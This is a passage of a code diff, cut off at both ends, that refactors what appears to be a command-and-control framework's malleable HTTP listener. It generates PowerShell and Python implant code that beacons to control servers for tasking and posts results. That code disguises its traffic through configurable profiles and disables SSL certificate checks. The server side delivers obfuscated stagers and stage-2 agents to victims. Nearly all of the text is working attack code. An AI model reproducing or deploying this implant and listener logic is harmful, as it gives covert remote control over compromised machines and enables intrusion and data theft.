and 'python' are currently supported for this module." - ) - return None + + log.error( + "listeners/http_malleable generate_agent(): invalid language specification, only 'powershell' and 'python' are currently supported for this module." + ) + return None def generate_comms(self, listenerOptions, language=None): """ @@ -840,122 +833,119 @@ def generate_comms(self, listenerOptions, language=None): profile.post.client.host = host profile.post.client.port = port - if language: - if language.lower() == "powershell": - # PowerShell - updateServers = f'$Script:ControlServers = @("{ host }");' - updateServers += "$Script:ServerIndex = 0;" + if not language: + log.error("listeners/template generate_comms(): no language specified!") + return None + + if language.lower() == "powershell": + # PowerShell + updateServers = f'$Script:ControlServers = @("{ host }");' + updateServers += "$Script:ServerIndex = 0;" - # ==== HANDLE SSL ==== - if host.startswith("https"): - updateServers += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" + # ==== HANDLE SSL ==== + if host.startswith("https"): + updateServers += "[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};" - getTask = f""" + getTask = f""" # ==== DEFINE GET ==== $script:GetTask = {{ - try {{ - if ($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {{ - # ==== BUILD ROUTING PACKET ==== - $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4; - $RoutingPacket = [System.Text.Encoding]::Default.GetString($RoutingPacket); - { profile.get.client.metadata.generate_powershell("$RoutingPacket") } - - # ==== BUILD REQUEST ==== - $vWc = New-Object System.Net.WebClient; - $vWc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); - $vWc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; - if ($Script:Proxy) {{ - $vWc.Proxy = $Script:Proxy; - }} +try {{ + if ($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {{ + # ==== BUILD ROUTING PACKET ==== + $RoutingPacket = New-RoutingPacket -EncData $Null -Meta 4; + $RoutingPacket = [System.Text.Encoding]::Default.GetString($RoutingPacket); + { profile.get.client.metadata.generate_powershell("$RoutingPacket") } + + # ==== BUILD REQUEST ==== + $vWc = New-Object System.Net.WebClient; + $vWc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); + $vWc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; + if ($Script:Proxy) {{ + $vWc.Proxy = $Script:Proxy; + }} """ - # ==== CHOOSE URI ==== - getTask += ( - "$taskURI = " - + ",".join( - [ - f"'{u}'" - for u in ( - profile.get.client.uris - if profile.get.client.uris - else ["/"] - ) - ] - ) - + " | Get-Random;" + # ==== CHOOSE URI ==== + getTask += ( + "$taskURI = " + + ",".join( + [ + f"'{u}'" + for u in ( + profile.get.client.uris + if profile.get.client.uris + else ["/"] + ) + ] ) + + " | Get-Random;" + ) - # ==== ADD PARAMETERS ==== - first = True - for parameter, value in profile.get.client.parameters.items(): - getTask += "$taskURI += '" + ("?" if first else "&") + "';" - first = False - getTask += f"$taskURI += '{ parameter }={ value }';" - if ( - profile.get.client.metadata.terminator.type - == malleable.Terminator.PARAMETER - ): - getTask += "$taskURI += '" + ("?" if first else "&") + "';" - first = False - getTask += f"$taskURI += '{ profile.get.client.metadata.terminator.arg }=' + $RoutingPacket;" + # ==== ADD PARAMETERS ==== + first = True + for parameter, value in profile.get.client.parameters.items(): + getTask += "$taskURI += '" + ("?" if first else "&") + "';" + first = False + getTask += f"$taskURI += '{ parameter }={ value }';" + if ( + profile.get.client.metadata.terminator.type + == malleable.Terminator.PARAMETER + ): + getTask += "$taskURI += '" + ("?" if first else "&") + "';" + first = False + getTask += f"$taskURI += '{ profile.get.client.metadata.terminator.arg }=' + $RoutingPacket;" - if ( - profile.get.client.metadata.terminator.type - == malleable.Terminator.URIAPPEND - ): - getTask += "$taskURI += $RoutingPacket;" - - # ==== ADD HEADERS ==== - for header, value in profile.get.client.headers.items(): - getTask += f"$vWc.Headers.Add('{ header }', '{ value }');" - if ( - profile.get.client.metadata.terminator.type - == malleable.Terminator.HEADER - ): - getTask += f"$vWc.Headers.Add('{ profile.get.client.metadata.terminator.arg }', $RoutingPacket);" + if ( + profile.get.client.metadata.terminator.type + == malleable.Terminator.URIAPPEND + ): + getTask += "$taskURI += $RoutingPacket;" - # ==== ADD BODY ==== - if ( - profile.get.client.metadata.terminator.type - == malleable.Terminator.PRINT - ): - getTask += "$body = $RoutingPacket;" - else: - getTask += f"$body = '{ profile.get.client.body }';" - - # ==== SEND REQUEST ==== - if ( - profile.get.client.verb.lower() != "get" - or profile.get.client.body - or profile.get.client.metadata.terminator.type - == malleable.Terminator.PRINT - ): - getTask += f"$result = $vWc.UploadData($Script:ControlServers[$Script:ServerIndex] + $taskURI, '{ profile.get.client.verb }', [System.Text.Encoding]::Default.GetBytes('{ profile.get.client.body }'));" - else: - getTask += "$result = $vWc.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI);" + # ==== ADD HEADERS ==== + for header, value in profile.get.client.headers.items(): + getTask += f"$vWc.Headers.Add('{ header }', '{ value }');" + if ( + profile.get.client.metadata.terminator.type + == malleable.Terminator.HEADER + ): + getTask += f"$vWc.Headers.Add('{ profile.get.client.metadata.terminator.arg }', $RoutingPacket);" - # ==== EXTRACT RESULTS ==== - if ( - profile.get.server.output.terminator.type - == malleable.Terminator.HEADER - ): - getTask += f"$data = $vWc.responseHeaders.get('{ profile.get.server.output.terminator.arg }');" - getTask += "Add-Type -AssemblyName System.Web; $data = [System.Web.HttpUtility]::UrlDecode($data);" + # ==== ADD BODY ==== + if ( + profile.get.client.metadata.terminator.type + == malleable.Terminator.PRINT + ): + getTask += "$body = $RoutingPacket;" + else: + getTask += f"$body = '{ profile.get.client.body }';" - elif ( - profile.get.server.output.terminator.type - == malleable.Terminator.PRINT - ): - getTask += "$data = $result;" - getTask += ( - "$data = [System.Text.Encoding]::Default.GetString($data);" - ) + # ==== SEND REQUEST ==== + if ( + profile.get.client.verb.lower() != "get" + or profile.get.client.body + or profile.get.client.metadata.terminator.type + == malleable.Terminator.PRINT + ): + getTask += f"$result = $vWc.UploadData($Script:ControlServers[$Script:ServerIndex] + $taskURI, '{ profile.get.client.verb }', [System.Text.Encoding]::Default.GetBytes('{ profile.get.client.body }'));" + else: + getTask += "$result = $vWc.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI);" + + # ==== EXTRACT RESULTS ==== + if profile.get.server.output.terminator.type == malleable.Terminator.HEADER: + getTask += f"$data = $vWc.responseHeaders.get('{ profile.get.server.output.terminator.arg }');" + getTask += "Add-Type -AssemblyName System.Web; $data = [System.Web.HttpUtility]::UrlDecode($data);" - getTask += f""" + elif ( + profile.get.server.output.terminator.type == malleable.Terminator.PRINT + ): + getTask += "$data = $result;" + getTask += "$data = [System.Text.Encoding]::Default.GetString($data);" + + getTask += f""" # ==== INTERPRET RESULTS ==== {profile.get.server.output.generate_powershell_r("$data")} - # ==== RETURN RESULTS ==== +# ==== RETURN RESULTS ==== $data = [System.Text.Encoding]::Default.GetBytes($data); $data; }} @@ -970,8 +960,8 @@ def generate_comms(self, listenerOptions, language=None): }}; """ - # ==== Send Message ==== - sendMessage = f""" + # ==== Send Message ==== + sendMessage = f""" # ==== DEFINE POST ==== $script:SendMessage = {{ param($Packets); @@ -987,7 +977,7 @@ def generate_comms(self, listenerOptions, language=None): if ($Script:ControlServers[$Script:ServerIndex].StartsWith('http')) {{ $vWc = New-Object System.Net.WebClient; - # ==== CONFIGURE PROXY ==== +# ==== CONFIGURE PROXY ==== $vWc.Proxy = [System.Net.WebRequest]::GetSystemWebProxy(); $vWc.Proxy.Credentials = [System.Net.CredentialCache]::DefaultCredentials; if ($Script:Proxy) {{ @@ -995,84 +985,81 @@ def generate_comms(self, listenerOptions, language=None): }} """ - # ==== CHOOSE URI ==== - sendMessage += ( - "$taskURI = " - + ",".join( - [ - f"'{u}'" - for u in ( - profile.post.client.uris - if profile.post.client.uris - else ["/"] - ) - ] - ) - + " | Get-Random;" + # ==== CHOOSE URI ==== + sendMessage += ( + "$taskURI = " + + ",".join( + [ + f"'{u}'" + for u in ( + profile.post.client.uris + if profile.post.client.uris + else ["/"] + ) + ] ) + + " | Get-Random;" + ) - # ==== ADD PARAMETERS ==== - first = True - for parameter, value in profile.post.client.parameters.items(): - sendMessage += "$taskURI += '" + ("?" if first else "&") + "';" - first = False - sendMessage += f"$taskURI += '{ parameter }={ value }';" - if ( - profile.post.client.output.terminator.type - == malleable.Terminator.PARAMETER - ): - sendMessage += "$taskURI += '" + ("?" if first else "&") + "';" - first = False - sendMessage += f"$taskURI += '{ profile.post.client.output.terminator.arg }=' + $RoutingPacket;" + # ==== ADD PARAMETERS ==== + first = True + for parameter, value in profile.post.client.parameters.items(): + sendMessage += "$taskURI += '" + ("?" if first else "&") + "';" + first = False + sendMessage += f"$taskURI += '{ parameter }={ value }';" + if ( + profile.post.client.output.terminator.type + == malleable.Terminator.PARAMETER + ): + sendMessage += "$taskURI += '" + ("?" if first else "&") + "';" + first = False + sendMessage += f"$taskURI += '{ profile.post.client.output.terminator.arg }=' + $RoutingPacket;" - if ( - profile.post.client.output.terminator.type - == malleable.Terminator.URIAPPEND - ): - sendMessage += "$taskURI += $RoutingPacket;" + if ( + profile.post.client.output.terminator.type + == malleable.Terminator.URIAPPEND + ): + sendMessage += "$taskURI += $RoutingPacket;" - # ==== ADD HEADERS ==== - for header, value in profile.post.client.headers.items(): - sendMessage += f"$vWc.Headers.Add('{ header }', '{ value }');" + # ==== ADD HEADERS ==== + for header, value in profile.post.client.headers.items(): + sendMessage += f"$vWc.Headers.Add('{ header }', '{ value }');" - if ( - profile.post.client.output.terminator.type - == malleable.Terminator.HEADER - ): - sendMessage += f"$vWc.Headers.Add('{ profile.post.client.output.terminator.arg }', $RoutingPacket);" + if ( + profile.post.client.output.terminator.type + == malleable.Terminator.HEADER + ): + sendMessage += f"$vWc.Headers.Add('{ profile.post.client.output.terminator.arg }', $RoutingPacket);" - # ==== ADD BODY ==== - if ( - profile.post.client.output.terminator.type - == malleable.Terminator.PRINT - ): - sendMessage += "$body = $RoutingPacket;" - else: - sendMessage += f"$body = '{ profile.post.client.body }';" - - # ==== SEND REQUEST ==== - sendMessage += "try {" - if ( - profile.post.client.verb.lower() != "get" - or profile.post.client.body - or profile.post.client.output.terminator.type - == malleable.Terminator.PRINT - ): - sendMessage += f"$result = $vWc.UploadData($Script:ControlServers[$Script:ServerIndex] + $taskURI, '{ profile.post.client.verb.upper() }', [System.Text.Encoding]::Default.GetBytes($body));" - else: - sendMessage += "$result = $vWc.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI);" + # ==== ADD BODY ==== + if profile.post.client.output.terminator.type == malleable.Terminator.PRINT: + sendMessage += "$body = $RoutingPacket;" + else: + sendMessage += f"$body = '{ profile.post.client.body }';" + + # ==== SEND REQUEST ==== + sendMessage += "try {" + if ( + profile.post.client.verb.lower() != "get" + or profile.post.client.body + or profile.post.client.output.terminator.type + == malleable.Terminator.PRINT + ): + sendMessage += f"$result = $vWc.UploadData($Script:ControlServers[$Script:ServerIndex] + $taskURI, '{ profile.post.client.verb.upper() }', [System.Text.Encoding]::Default.GetBytes($body));" + else: + sendMessage += "$result = $vWc.DownloadData($Script:ControlServers[$Script:ServerIndex] + $taskURI);" - # ==== HANDLE ERROR ==== - sendMessage += """ + # ==== HANDLE ERROR ==== + sendMessage += """ } catch [System.Net.WebException] { if ($_.Exception.GetBaseException().Response.statuscode -eq 401) { Start-Negotiate -S '$ser' -SK $SK -UA $ua; }}}}}; """ - return updateServers + getTask + sendMessage + return updateServers + getTask + sendMessage - elif language.lower() == "python": - sendMessage = f""" + if language.lower() == "python": + sendMessage = f""" import base64 import urllib import random @@ -1080,284 +1067,251 @@ def generate_comms(self, listenerOptions, language=None): class ExtendedPacketHandler(PacketHandler): - def __init__(self, agent, staging_key, session_id, headers, server, taskURIs, key=None): - super().__init__(agent=agent, staging_key=staging_key, session_id=session_id, key=key) - self.headers = headers - self.taskURIs = taskURIs - self.server = server - - def post_message(self, uri, data): - return (urllib.request.urlopen(urllib.request.Request(uri, data, self.headers))).read() - - def send_results_for_child(self, received_data): - self.headers['Cookie'] = "session=%s" % (received_data[1:]) - taskUri = random.sample({profile.post.client.uris!s}, 1)[0] - requestUri = self.server + taskURI - response = (urllib.request.urlopen(urllib.request.Request(requestUri, None, self.headers))).read() - return response - - def send_get_tasking_for_child(self, received_data): - decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) - taskUri = random.sample({profile.post.client.uris!s}, 1)[0] - requestUri = self.server + taskURI - response = (urllib.request.urlopen(urllib.request.Request(requestUri, decoded_data, self.headers))).read() - return response - - def send_staging_for_child(self, received_data, hop_name): - postURI = self.server + "/login/process.php" - self.headers['Hop-Name'] = hop_name - decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) - response = (urllib.request.urlopen(urllib.request.Request(postURI, decoded_data, self.headers))).read() - return response +def __init__(self, agent, staging_key, session_id, headers, server, taskURIs, key=None): + super().__init__(agent=agent, staging_key=staging_key, session_id=session_id, key=key) + self.headers = headers + self.taskURIs = taskURIs + self.server = server + +def post_message(self, uri, data): + return (urllib.request.urlopen(urllib.request.Request(uri, data, self.headers))).read() + +def send_results_for_child(self, received_data): + self.headers['Cookie'] = "session=%s" % (received_data[1:]) + taskUri = random.sample({profile.post.client.uris!s}, 1)[0] + requestUri = self.server + taskURI + response = (urllib.request.urlopen(urllib.request.Request(requestUri, None, self.headers))).read() + return response + +def send_get_tasking_for_child(self, received_data): + decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) + taskUri = random.sample({profile.post.client.uris!s}, 1)[0] + requestUri = self.server + taskURI + response = (urllib.request.urlopen(urllib.request.Request(requestUri, decoded_data, self.headers))).read() + return response + +def send_staging_for_child(self, received_data, hop_name): + postURI = self.server + "/login/process.php" + self.headers['Hop-Name'] = hop_name + decoded_data = base64.b64decode(received_data[1:].encode('UTF-8')) + response = (urllib.request.urlopen(urllib.request.Request(postURI, decoded_data, self.headers))).read() + return response """ - sendMessage += " def send_message(self, packets=None):\n" - sendMessage += " vreq = type('vreq', (urllib.request.Request, object), {'get_method':lambda self:self.verb if (hasattr(self, 'verb') and self.verb) else urllib.request.Request.get_method(self)})\n" + sendMessage += " def send_message(self, packets=None):\n" + sendMessage += " vreq = type('vreq', (urllib.request.Request, object), {'get_method':lambda self:self.verb if (hasattr(self, 'verb') and self.verb) else urllib.request.Request.get_method(self)})\n" - # ==== BUILD POST ==== - sendMessage += " if packets:\n" + # ==== BUILD POST ==== + sendMessage += " if packets:\n" - # ==== BUILD ROUTING PACKET ==== - sendMessage += ( - " encData = aes_encrypt_then_hmac(self.key, packets);\n" + # ==== BUILD ROUTING PACKET ==== + sendMessage += ( + " encData = aes_encrypt_then_hmac(self.key, packets);\n" + ) + sendMessage += " routingPacket = self.build_routing_packet(self.staging_key, self.session_id, meta=5, enc_data=encData);\n" + sendMessage += ( + "\n".join( + [ + " " + _ + for _ in profile.post.client.output.generate_python( + "routingPacket" + ).split("\n") + ] ) - sendMessage += " routingPacket = self.build_routing_packet(self.staging_key, self.session_id, meta=5, enc_data=encData);\n" + + "\n" + ) + + # ==== CHOOSE URI ==== + sendMessage += ( + " taskUri = random.sample(" + + str(profile.post.client.uris) + + ", 1)[0]\n" + ) + sendMessage += " requestUri = self.server + taskUri\n" + + # ==== ADD PARAMETERS ==== + sendMessage += " parameters = {}\n" + for parameter, value in profile.post.client.parameters.items(): sendMessage += ( - "\n".join( - [ - " " + _ - for _ in profile.post.client.output.generate_python( - "routingPacket" - ).split("\n") - ] - ) - + "\n" + " parameters['" + parameter + "'] = '" + value + "'\n" ) - - # ==== CHOOSE URI ==== + if ( + profile.post.client.output.terminator.type + == malleable.Terminator.PARAMETER + ): sendMessage += ( - " taskUri = random.sample(" - + str(profile.post.client.uris) - + ", 1)[0]\n" + " parameters['" + + profile.post.client.output.terminator.arg + + "'] = routingPacket;\n" ) - sendMessage += " requestUri = self.server + taskUri\n" - - # ==== ADD PARAMETERS ==== - sendMessage += " parameters = {}\n" - for parameter, value in profile.post.client.parameters.items(): - sendMessage += ( - " parameters['" - + parameter - + "'] = '" - + value - + "'\n" - ) - if ( - profile.post.client.output.terminator.type - == malleable.Terminator.PARAMETER - ): - sendMessage += ( - " parameters['" - + profile.post.client.output.terminator.arg - + "'] = routingPacket;\n" - ) - sendMessage += " if parameters:\n" - sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n" + sendMessage += " if parameters:\n" + sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n" - if ( - profile.post.client.output.terminator.type - == malleable.Terminator.URIAPPEND - ): - sendMessage += " requestUri += routingPacket\n" + if ( + profile.post.client.output.terminator.type + == malleable.Terminator.URIAPPEND + ): + sendMessage += " requestUri += routingPacket\n" - # ==== ADD BODY ==== - if ( - profile.post.client.output.terminator.type - == malleable.Terminator.PRINT - ): - sendMessage += " body = routingPacket\n" - else: - sendMessage += ( - " body = '" + profile.post.client.body + "'\n" - ) - sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n" + # ==== ADD BODY ==== + if profile.post.client.output.terminator.type == malleable.Terminator.PRINT: + sendMessage += " body = routingPacket\n" + else: + sendMessage += " body = '" + profile.post.client.body + "'\n" + sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n" - # ==== BUILD REQUEST ==== - sendMessage += " req = vreq(requestUri, body)\n" + # ==== BUILD REQUEST ==== + sendMessage += " req = vreq(requestUri, body)\n" + sendMessage += " req.verb = '" + profile.post.client.verb + "'\n" + + # ==== ADD HEADERS ==== + for header, value in profile.post.client.headers.items(): sendMessage += ( - " req.verb = '" + profile.post.client.verb + "'\n" + " req.add_header('" + header + "', '" + value + "')\n" + ) + if ( + profile.post.client.output.terminator.type + == malleable.Terminator.HEADER + ): + sendMessage += ( + " req.add_header('" + + profile.post.client.output.terminator.arg + + "', routingPacket)\n" ) - # ==== ADD HEADERS ==== - for header, value in profile.post.client.headers.items(): - sendMessage += ( - " req.add_header('" - + header - + "', '" - + value - + "')\n" - ) - if ( - profile.post.client.output.terminator.type - == malleable.Terminator.HEADER - ): - sendMessage += ( - " req.add_header('" - + profile.post.client.output.terminator.arg - + "', routingPacket)\n" - ) + # ==== BUILD GET ==== + sendMessage += " else:\n" - # ==== BUILD GET ==== - sendMessage += " else:\n" + # ==== BUILD ROUTING PACKET + sendMessage += " routingPacket = self.build_routing_packet(self.staging_key, self.session_id, meta=4);\n" + sendMessage += ( + "\n".join( + [ + " " + _ + for _ in profile.get.client.metadata.generate_python( + "routingPacket" + ).split("\n") + ] + ) + + "\n" + ) - # ==== BUILD ROUTING PACKET - sendMessage += " routingPacket = self.build_routing_packet(self.staging_key, self.session_id, meta=4);\n" + # ==== CHOOSE URI ==== + sendMessage += ( + " taskUri = random.sample(" + + str(profile.get.client.uris) + + ", 1)[0]\n" + ) + sendMessage += " requestUri = self.server + taskUri;\n" + + # ==== ADD PARAMETERS ==== + sendMessage += " parameters = {}\n" + for parameter, value in profile.get.client.parameters.items(): sendMessage += ( - "\n".join( - [ - " " + _ - for _ in profile.get.client.metadata.generate_python( - "routingPacket" - ).split("\n") - ] - ) - + "\n" + " parameters['" + parameter + "'] = '" + value + "'\n" ) - - # ==== CHOOSE URI ==== + if ( + profile.get.client.metadata.terminator.type + == malleable.Terminator.PARAMETER + ): sendMessage += ( - " taskUri = random.sample(" - + str(profile.get.client.uris) - + ", 1)[0]\n" + " parameters['" + + profile.get.client.metadata.terminator.arg + + "'] = routingPacket\n" ) - sendMessage += " requestUri = self.server + taskUri;\n" - - # ==== ADD PARAMETERS ==== - sendMessage += " parameters = {}\n" - for parameter, value in profile.get.client.parameters.items(): - sendMessage += ( - " parameters['" - + parameter - + "'] = '" - + value - + "'\n" - ) - if ( - profile.get.client.metadata.terminator.type - == malleable.Terminator.PARAMETER - ): - sendMessage += ( - " parameters['" - + profile.get.client.metadata.terminator.arg - + "'] = routingPacket\n" - ) - sendMessage += " if parameters:\n" - sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n" + sendMessage += " if parameters:\n" + sendMessage += " requestUri += '?' + urllib.parse.urlencode(parameters)\n" - if ( - profile.get.client.metadata.terminator.type - == malleable.Terminator.URIAPPEND - ): - sendMessage += " requestUri += routingPacket;\n" + if ( + profile.get.client.metadata.terminator.type + == malleable.Terminator.URIAPPEND + ): + sendMessage += " requestUri += routingPacket;\n" - # ==== ADD BODY ==== - if ( - profile.get.client.metadata.terminator.type - == malleable.Terminator.PRINT - ): - sendMessage += " body = routingPacket\n" - else: - sendMessage += ( - " body = '" + profile.get.client.body + "'\n" - ) - sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n" + # ==== ADD BODY ==== + if ( + profile.get.client.metadata.terminator.type + == malleable.Terminator.PRINT + ): + sendMessage += " body = routingPacket\n" + else: + sendMessage += " body = '" + profile.get.client.body + "'\n" + sendMessage += " try:\n body=body.encode()\n except AttributeError:\n pass\n" + + # ==== BUILD REQUEST ==== + sendMessage += " req = vreq(requestUri, body)\n" + sendMessage += " req.verb = '" + profile.get.client.verb + "'\n" - # ==== BUILD REQUEST ==== - sendMessage += " req = vreq(requestUri, body)\n" + # ==== ADD HEADERS ==== + for header, value in profile.get.client.headers.items(): sendMessage += ( - " req.verb = '" + profile.get.client.verb + "'\n" + " req.add_header('" + header + "', '" + value + "')\n" + ) + if ( + profile.get.client.metadata.terminator.type + == malleable.Terminator.HEADER + ): + sendMessage += ( + " req.add_header('" + + profile.get.client.metadata.terminator.arg + + "', routingPacket)\n" ) - # ==== ADD HEADERS ==== - for header, value in profile.get.client.headers.items(): - sendMessage += ( - " req.add_header('" - + header - + "', '" - + value - + "')\n" - ) - if ( - profile.get.client.metadata.terminator.type - == malleable.Terminator.HEADER - ): - sendMessage += ( - " req.add_header('" - + profile.get.client.metadata.terminator.arg - + "', routingPacket)\n" - ) - - # ==== SEND REQUEST ==== - sendMessage += " try:\n" - sendMessage += " res = urllib.request.urlopen(req);\n" - - # ==== EXTRACT RESPONSE ==== - if ( - profile.get.server.output.terminator.type - == malleable.Terminator.HEADER - ): - header = profile.get.server.output.terminator.arg - sendMessage += ( - " data = res.info().dict['" - + header - + "'] if '" - + header - + "' in res.info().dict else ''\n" - ) - sendMessage += " data = urllib.parse.unquote(data)\n" - elif ( - profile.get.server.output.terminator.type - == malleable.Terminator.PRINT - ): - sendMessage += " data = res.read()\n" + # ==== SEND REQUEST ==== + sendMessage += " try:\n" + sendMessage += " res = urllib.request.urlopen(req);\n" - # ==== DECODE RESPONSE ==== + # ==== EXTRACT RESPONSE ==== + if profile.get.server.output.terminator.type == malleable.Terminator.HEADER: + header = profile.get.server.output.terminator.arg sendMessage += ( - "\n".join( - [ - " " + _ - for _ in profile.get.server.output.generate_python_r( - "data" - ).split("\n") - ] - ) - + "\n" + " data = res.info().dict['" + + header + + "'] if '" + + header + + "' in res.info().dict else ''\n" + ) + sendMessage += " data = urllib.parse.unquote(data)\n" + elif ( + profile.get.server.output.terminator.type == malleable.Terminator.PRINT + ): + sendMessage += " data = res.read()\n" + + # ==== DECODE RESPONSE ==== + sendMessage += ( + "\n".join( + [ + " " + _ + for _ in profile.get.server.output.generate_python_r( + "data" + ).split("\n") + ] ) - # before return we encode to bytes, since in some transformations "join" produces str - sendMessage += " if isinstance(data,str): data = data.encode('latin-1');\n" - sendMessage += " return ('200', data)\n" + + "\n" + ) + # before return we encode to bytes, since in some transformations "join" produces str + sendMessage += ( + " if isinstance(data,str): data = data.encode('latin-1');\n" + ) + sendMessage += " return ('200', data)\n" - # ==== HANDLE ERROR ==== - sendMessage += " except urllib.request.HTTPError as HTTPError:\n" - sendMessage += " self.missedCheckins += 1\n" - sendMessage += " if HTTPError.code == 401:\n" - sendMessage += " sys.exit(0)\n" - sendMessage += " return (HTTPError.code, '')\n" - sendMessage += " except urllib.request.URLError as URLError:\n" - sendMessage += " self.missedCheckins += 1\n" - sendMessage += " return (URLError.reason, '')\n" + # ==== HANDLE ERROR ==== + sendMessage += " except urllib.request.HTTPError as HTTPError:\n" + sendMessage += " self.missedCheckins += 1\n" + sendMessage += " if HTTPError.code == 401:\n" + sendMessage += " sys.exit(0)\n" + sendMessage += " return (HTTPError.code, '')\n" + sendMessage += " except urllib.request.URLError as URLError:\n" + sendMessage += " self.missedCheckins += 1\n" + sendMessage += " return (URLError.reason, '')\n" - sendMessage += " return ('', '')\n" + sendMessage += " return ('', '')\n" - return sendMessage + return sendMessage - else: - log.error( - "listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." - ) - return None - else: - log.error("listeners/template generate_comms(): no language specified!") - return None + log.error( + "listeners/template generate_comms(): invalid language specification, only 'powershell' and 'python' are current supported for this module." + ) + return None def start_server(self, listenerOptions): """ @@ -1438,295 +1392,276 @@ def handle_request(request_uri="", tempListenerOptions=None): if implementation: break + if not implementation: + # log invalid uri + message = f"{listenerName}: unknown uri /{request_uri} requested by {clientIP}." + self.instance_log.warning(message) + # attempt to extract information from the request - if implementation: - agentInfo = None - if implementation is profile.stager and request.method == "POST": - # stage 1 negotiation comms are hard coded, so we can't use malleable - agentInfo = malleableRequest.body - elif implementation is profile.post: - # the post implementation has two spots for data, requires two-part extraction - agentInfo, output = implementation.extract_client( - malleableRequest - ) - agentInfo = (agentInfo if agentInfo else b"") + ( - output if output else b"" - ) - else: - agentInfo = implementation.extract_client(malleableRequest) - if agentInfo: - dataResults = self.mainMenu.agents.handle_agent_data( - stagingKey, agentInfo, listenerOptions, clientIP - ) - if dataResults and len(dataResults) > 0: - for language, results in dataResults: - if results: - if isinstance(results, str): - results = results.encode("latin-1") - if results == b"STAGE0": - # step 2 of negotiation -> server returns stager (stage 1) - - # log event - message = f"{listenerName} Sending {language} stager (stage 1) to {clientIP}" - self.instance_log.info(message) - log.info(message) - - # build stager (stage 1) - with SessionLocal() as db: - obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( - db, language - ) - stager = self.generate_stager( - language=language, - listenerOptions=listenerOptions, - obfuscate=( - False - if not obf_config - else obf_config.enabled - ), - obfuscation_command=( - "" - if not obf_config - else obf_config.command - ), - ) + agentInfo = None + if implementation is profile.stager and request.method == "POST": + # stage 1 negotiation comms are hard coded, so we can't use malleable + agentInfo = malleableRequest.body + elif implementation is profile.post: + # the post implementation has two spots for data, requires two-part extraction + agentInfo, output = implementation.extract_client(malleableRequest) + agentInfo = (agentInfo if agentInfo else b"") + ( + output if output else b"" + ) + else: + agentInfo = implementation.extract_client(malleableRequest) + if agentInfo: + dataResults = self.mainMenu.agents.handle_agent_data( + stagingKey, agentInfo, listenerOptions, clientIP + ) + if not dataResults or len(dataResults) <= 0: + # log error parsing routing packet + message = f"{listenerName} Error parsing routing packet from {clientIP}: {agentInfo!s}." + self.instance_log.error(message) + log.error(message) + + for language, results in dataResults: + if results: + if isinstance(results, str): + results = results.encode("latin-1") + if results == b"STAGE0": + # step 2 of negotiation -> server returns stager (stage 1) + + # log event + message = f"{listenerName} Sending {language} stager (stage 1) to {clientIP}" + self.instance_log.info(message) + log.info(message) + + # build stager (stage 1) + with SessionLocal() as db: + obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( + db, language + ) + stager = self.generate_stager( + language=language, + listenerOptions=listenerOptions, + obfuscate=( + False + if not obf_config + else obf_config.enabled + ), + obfuscation_command=( + "" if not obf_config else obf_config.command + ), + ) - # build malleable response with stager (stage 1) - malleableResponse = ( - implementation.construct_server(stager) - ) + # build malleable response with stager (stage 1) + malleableResponse = implementation.construct_server( + stager + ) - if "Server" in malleableResponse.headers: - WSGIRequestHandler.server_version = ( - malleableResponse.headers["Server"] - ) - WSGIRequestHandler.sys_version = "" - - return Response( - malleableResponse.body, - malleableResponse.code, - malleableResponse.headers, - ) - - elif results.startswith(b"STAGE2"): - # step 6 of negotiation -> server sends patched agent (stage 2) - - if ":" in clientIP: - clientIP = "[" + clientIP + "]" - sessionID = ( - results.split(b" ")[1] - .strip() - .decode("UTF-8") - ) - sessionKey = self.mainMenu.agents.agents[ - sessionID - ]["sessionKey"] - - # log event - message = f"{listenerName}: Sending agent (stage 2) to {sessionID} at {clientIP}" - self.instance_log.info(message) - log.info(message) - - # TODO: handle this with malleable?? - tempListenerOptions = None - if "Hop-Name" in request.headers: - hopListenerName = request.headers.get( - "Hop-Name" - ) - if hopListenerName: - try: - hopListener = ( - data_util.get_listener_options( - hopListenerName - ) - ) - tempListenerOptions = copy.deepcopy( - listenerOptions - ) - tempListenerOptions["Host"][ - "Value" - ] = hopListener["Host"]["Value"] - except TypeError: - tempListenerOptions = ( - listenerOptions - ) - - session_info = ( - SessionLocal() - .query(models.Agent) - .filter( - models.Agent.session_id == sessionID + if "Server" in malleableResponse.headers: + WSGIRequestHandler.server_version = ( + malleableResponse.headers["Server"] + ) + WSGIRequestHandler.sys_version = "" + + return Response( + malleableResponse.body, + malleableResponse.code, + malleableResponse.headers, + ) + + if results.startswith(b"STAGE2"): + # step 6 of negotiation -> server sends patched agent (stage 2) + + if ":" in clientIP: + clientIP = "[" + clientIP + "]" + sessionID = ( + results.split(b" ")[1].strip().decode("UTF-8") + ) + sessionKey = self.mainMenu.agents.agents[sessionID][ + "sessionKey" + ] + + # log event + message = f"{listenerName}: Sending agent (stage 2) to {sessionID} at {clientIP}" + self.instance_log.info(message) + log.info(message) + + # TODO: handle this with malleable?? + tempListenerOptions = None + if "Hop-Name" in request.headers: + hopListenerName = request.headers.get("Hop-Name") + if hopListenerName: + try: + hopListener = ( + data_util.get_listener_options( + hopListenerName + ) ) - .first() - ) - if session_info.language == "ironpython": - version = "ironpython" - else: - version = "" - - # generate agent - with SessionLocal() as db: - obf_config = self.mainMenu.obfuscationv2.get_obfuscation_config( - db, language + tempListenerOptions = 